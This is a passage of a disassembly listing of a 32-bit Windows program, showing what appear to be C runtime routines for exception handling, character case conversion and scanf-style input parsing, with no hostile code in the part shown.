		jz	loc_41AAA8
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A99C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41A98D:				; CODE XREF: sub_41A8FF+F5j
		push	eax
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41AAA4
; ---------------------------------------------------------------------------

loc_41A99C:				; CODE XREF: sub_41A8FF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A9F6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416490
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41AAA4
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41AAA4
		add	esi, 8
		push	esi
		jmp	short loc_41A98D
; ---------------------------------------------------------------------------

loc_41A9F6:				; CODE XREF: sub_41A8FF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41AA3E
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416490
		add	esp, 0Ch
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A8FF+103j
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+18h]
		call	sub_41DF9E
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		test	byte ptr [esi],	4
		jz	short loc_41AA85
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160BD
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------

loc_41AA85:				; CODE XREF: sub_41A8FF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160B6
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A8FF+6Aj
					; sub_41A8FF+7Cj ...
		call	sub_41ABF2

loc_41AAA4:				; CODE XREF: sub_41A8FF+98j
					; sub_41A8FF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41AAA8:				; CODE XREF: sub_41A8FF+2Ej
					; sub_41A8FF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8FF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAC3	proc near		; CODE XREF: sub_41A3EE+170p
					; sub_41A88F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421830
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41AB0A
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41AB0A
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4160B6
		or	[ebp+var_4], 0FFFFFFFFh

loc_41AB0A:				; CODE XREF: sub_41AAC3+2Aj
					; sub_41AAC3+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAC3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================



sub_41AB2A	proc near		; CODE XREF: sub_41A8FF+8Fp
					; sub_41A8FF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41AB4B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41AB4B:				; CODE XREF: sub_41AB2A+12j
		pop	esi
		retn
sub_41AB2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB50	proc near		; CODE XREF: sub_416149+40p
					; sub_41A69A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416435
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB8F
		mov	ecx, 2

loc_41AB8F:				; CODE XREF: sub_41AB50+38j
		push	ecx
		call	sub_416435
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AB50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB9C	proc near		; CODE XREF: sub_41A3EE:loc_41A590j
					; sub_41A738:loc_41A749j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421840
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_469538
		test	eax, eax
		jz	short loc_41ABE4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41ABE0
; ---------------------------------------------------------------------------

loc_41ABD9:				; DATA XREF: .nsp0:00421850o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41ABDD:				; DATA XREF: .nsp0:00421854o
		mov	esp, [ebp+var_18]

loc_41ABE0:				; CODE XREF: sub_41AB9C+3Bj
		and	[ebp+var_4], 0

loc_41ABE4:				; CODE XREF: sub_41AB9C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41ABED:				; DATA XREF: .nsp0:00421848o
		jmp	loc_41DFB6
sub_41AB9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF2	proc near		; CODE XREF: sub_4162EB+23p
					; sub_4162EB:loc_416356p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421858
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_4380F4
		test	eax, eax
		jz	short loc_41AC3A
		mov	[ebp+var_4], 1
		call	eax ; sub_41AB9C
		jmp	short loc_41AC36
; ---------------------------------------------------------------------------

loc_41AC2F:				; DATA XREF: .nsp0:00421868o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AC33:				; DATA XREF: .nsp0:0042186Co
		mov	esp, [ebp+var_18]

loc_41AC36:				; CODE XREF: sub_41ABF2+3Bj
		and	[ebp+var_4], 0

loc_41AC3A:				; CODE XREF: sub_41ABF2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41AC43:				; DATA XREF: .nsp0:00421860o
		jmp	sub_41AB9C
sub_41ABF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC48	proc near		; CODE XREF: sub_4167D3+7p
					; sub_4167D3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418AFD
		test	eax, eax
		pop	ecx
		jz	short loc_41AC60
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------

loc_41AC60:				; CODE XREF: sub_41AC48+Ej
		push	esi
		push	0
		push	dword_46AB20
		call	dword_421188
		pop	esi
		retn
sub_41AC48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC71	proc near		; CODE XREF: sub_416881+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_469548, 0
		push	ebx
		jnz	short loc_41AC9C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41AD3A
		cmp	eax, 7Ah
		jg	loc_41AD3A
		sub	eax, 20h
		jmp	loc_41AD3A
; ---------------------------------------------------------------------------

loc_41AC9C:				; CODE XREF: sub_41AC71+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41ACCF
		cmp	dword_437F9C, 1
		jle	short loc_41ACBC
		push	2
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41ACC7
; ---------------------------------------------------------------------------

loc_41ACBC:				; CODE XREF: sub_41AC71+3Dj
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41ACC7:				; CODE XREF: sub_41AC71+49j
		test	eax, eax
		jnz	short loc_41ACCF

loc_41ACCB:				; CODE XREF: sub_41AC71+AFj
		mov	eax, ebx
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------

loc_41ACCF:				; CODE XREF: sub_41AC71+34j
					; sub_41AC71+58j
		mov	edx, off_437D90
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41ACF2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41ACFB
; ---------------------------------------------------------------------------

loc_41ACF2:				; CODE XREF: sub_41AC71+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41ACFB:				; CODE XREF: sub_41AC71+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_469548
		call	sub_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_41ACCB
		cmp	eax, 1
		jnz	short loc_41AD2D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------

loc_41AD2D:				; CODE XREF: sub_41AC71+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41AD3A:				; CODE XREF: sub_41AC71+14j
					; sub_41AC71+1Dj ...
		pop	ebx
		leave
		retn
sub_41AC71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD3D	proc near		; CODE XREF: sub_416AA0+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B743
		mov	edi, [ebp+arg_0]
		jmp	short loc_41AD6C
; ---------------------------------------------------------------------------

loc_41AD67:				; CODE XREF: sub_41AD3D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41AD6C:				; CODE XREF: sub_41AD3D+28j
		cmp	dword_437F9C, 1
		jle	short loc_41AD84
		movzx	eax, al
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AD93
; ---------------------------------------------------------------------------

loc_41AD84:				; CODE XREF: sub_41AD3D+36j
		mov	ecx, off_437D90
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41AD93:				; CODE XREF: sub_41AD3D+45j
		cmp	eax, ebx
		jz	short loc_41ADCD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7CA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B7B3
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		add	esp, 0Ch

loc_41ADBB:				; CODE XREF: sub_41AD3D+8Ej
		test	eax, eax
		jz	short loc_41ADCD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		pop	ecx
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------

loc_41ADCD:				; CODE XREF: sub_41AD3D+58j
					; sub_41AD3D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B6AF
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41AE04:				; CODE XREF: sub_41AD3D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_437F9C, 1
		jle	short loc_41AE21
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AE30
; ---------------------------------------------------------------------------

loc_41AE21:				; CODE XREF: sub_41AD3D+D3j
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41AE30:				; CODE XREF: sub_41AD3D+E2j
		test	eax, eax
		jz	short loc_41AE46
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE46:				; CODE XREF: sub_41AD3D+F5j
		cmp	ebx, 4Eh
		jg	short loc_41AE89
		jz	short loc_41AEAB
		cmp	ebx, 2Ah
		jz	short loc_41AE84
		cmp	ebx, 46h
		jz	short loc_41AEAB
		cmp	ebx, 49h
		jz	short loc_41AE66
		cmp	ebx, 4Ch
		jnz	short loc_41AE98
		inc	[ebp+var_D]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE66:				; CODE XREF: sub_41AD3D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41AE98
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41AE98
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE84:				; CODE XREF: sub_41AD3D+113j
		inc	[ebp+var_E]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE89:				; CODE XREF: sub_41AD3D+10Cj
		cmp	ebx, 68h
		jz	short loc_41AEA5
		cmp	ebx, 6Ch
		jz	short loc_41AE9D
		cmp	ebx, 77h
		jz	short loc_41AEA0

loc_41AE98:				; CODE XREF: sub_41AD3D+122j
					; sub_41AD3D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AE9D:				; CODE XREF: sub_41AD3D+154j
		inc	[ebp+var_D]

loc_41AEA0:				; CODE XREF: sub_41AD3D+159j
		inc	[ebp+var_5]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------

loc_41AEA5:				; CODE XREF: sub_41AD3D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41AEAB:				; CODE XREF: sub_41AD3D+107j
					; sub_41AD3D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41AE04
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41AED0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41AED0:				; CODE XREF: sub_41AD3D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41AEEE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41AEEA
		cmp	al, 43h
		jz	short loc_41AEEA
		or	[ebp+var_5], 0FFh
		jmp	short loc_41AEEE
; ---------------------------------------------------------------------------

loc_41AEEA:				; CODE XREF: sub_41AD3D+1A1j
					; sub_41AD3D+1A5j
		mov	[ebp+var_5], 1

loc_41AEEE:				; CODE XREF: sub_41AD3D+19Bj
					; sub_41AD3D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AF27
		cmp	esi, 63h
		jz	short loc_41AF18
		cmp	esi, 7Bh
		jz	short loc_41AF18
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B7CA
		pop	ecx
		jmp	short loc_41AF23
; ---------------------------------------------------------------------------

loc_41AF18:				; CODE XREF: sub_41AD3D+1C5j
					; sub_41AD3D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799

loc_41AF23:				; CODE XREF: sub_41AD3D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41AF27:				; CODE XREF: sub_41AD3D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AF37
		cmp	[ebp+var_C], eax
		jz	loc_41B713

loc_41AF37:				; CODE XREF: sub_41AD3D+1EFj
		cmp	esi, 6Fh
		jg	loc_41B19E
		jz	loc_41B450
		cmp	esi, 63h
		jz	loc_41B17B
		cmp	esi, 64h
		jz	loc_41B450
		jle	loc_41B1C8
		cmp	esi, 67h
		jle	short loc_41AF9B
		cmp	esi, 69h
		jz	short loc_41AF83
		cmp	esi, 6Eh
		jnz	loc_41B1C8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B67E
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41AF83:				; CODE XREF: sub_41AD3D+229j
		push	64h
		pop	esi

loc_41AF86:				; CODE XREF: sub_41AD3D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B210
		mov	[ebp+var_17], 1
		jmp	loc_41B215
; ---------------------------------------------------------------------------

loc_41AF9B:				; CODE XREF: sub_41AD3D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AFB7
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AFBC
; ---------------------------------------------------------------------------

loc_41AFB7:				; CODE XREF: sub_41AD3D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AFD3

loc_41AFBC:				; CODE XREF: sub_41AD3D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFD6
; ---------------------------------------------------------------------------

loc_41AFD3:				; CODE XREF: sub_41AD3D+27Dj
		mov	edi, [ebp+arg_0]

loc_41AFD6:				; CODE XREF: sub_41AD3D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AFE5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AFEC

loc_41AFE5:				; CODE XREF: sub_41AD3D+29Dj
		mov	[ebp+var_C], 15Dh

loc_41AFEC:				; CODE XREF: sub_41AD3D+2A6j
					; sub_41AD3D+2F2j
		cmp	dword_437F9C, 1
		jle	short loc_41B001
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B00C
; ---------------------------------------------------------------------------

loc_41B001:				; CODE XREF: sub_41AD3D+2B6j
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B00C:				; CODE XREF: sub_41AD3D+2C2j
		test	eax, eax
		jz	short loc_41B031
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B031
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFEC
; ---------------------------------------------------------------------------

loc_41B031:				; CODE XREF: sub_41AD3D+2D1j
					; sub_41AD3D+2DBj
		cmp	byte_437FA0, bl
		jnz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		mov	al, byte_437FA0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41B05A:				; CODE XREF: sub_41AD3D+360j
		cmp	dword_437F9C, 1
		jle	short loc_41B06F
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B07A
; ---------------------------------------------------------------------------

loc_41B06F:				; CODE XREF: sub_41AD3D+324j
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B07A:				; CODE XREF: sub_41AD3D+330j
		test	eax, eax
		jz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B05A
; ---------------------------------------------------------------------------

loc_41B09F:				; CODE XREF: sub_41AD3D+2FAj
					; sub_41AD3D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B137
		cmp	ebx, 65h
		jz	short loc_41B0B7
		cmp	ebx, 45h
		jnz	loc_41B137

loc_41B0B7:				; CODE XREF: sub_41AD3D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B0DE
		mov	[esi], al
		inc	esi
		jmp	short loc_41B0E3
; ---------------------------------------------------------------------------

loc_41B0DE:				; CODE XREF: sub_41AD3D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B101

loc_41B0E3:				; CODE XREF: sub_41AD3D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B0F2
		and	[ebp+var_C], eax
		jmp	short loc_41B101
; ---------------------------------------------------------------------------

loc_41B0F2:				; CODE XREF: sub_41AD3D+3AEj
					; sub_41AD3D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41B101:				; CODE XREF: sub_41AD3D+3A4j
					; sub_41AD3D+3B3j
		cmp	dword_437F9C, 1
		jle	short loc_41B116
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B121
; ---------------------------------------------------------------------------

loc_41B116:				; CODE XREF: sub_41AD3D+3CBj
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41B121:				; CODE XREF: sub_41AD3D+3D7j
		test	eax, eax
		jz	short loc_41B137
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B0F2
; ---------------------------------------------------------------------------

loc_41B137:				; CODE XREF: sub_41AD3D+366j
					; sub_41AD3D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_4380D0
		add	esp, 0Ch
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B17B:				; CODE XREF: sub_41AD3D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B18A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41B18A:				; CODE XREF: sub_41AD3D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B194
		mov	[ebp+var_16], 1

loc_41B194:				; CODE XREF: sub_41AD3D+451j
		mov	edi, offset dword_438100
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------

loc_41B19E:				; CODE XREF: sub_41AD3D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41B44C
		sub	eax, 3
		jz	loc_41B29A
		dec	eax
		dec	eax
		jz	loc_41B450
		sub	eax, 3
		jz	loc_41AF86
		sub	eax, 3
		jz	short loc_41B1EC

loc_41B1C8:				; CODE XREF: sub_41AD3D+21Bj
					; sub_41AD3D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B713
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41AD3D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B1F6
		mov	[ebp+var_16], 1

loc_41B1F6:				; CODE XREF: sub_41AD3D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B2AD
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------

loc_41B210:				; CODE XREF: sub_41AD3D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B237

loc_41B215:				; CODE XREF: sub_41AD3D+259j
		dec	[ebp+var_C]
		jnz	short loc_41B226
		cmp	[ebp+var_20], 0
		jz	short loc_41B226
		mov	[ebp+var_F], 1
		jmp	short loc_41B237
; ---------------------------------------------------------------------------

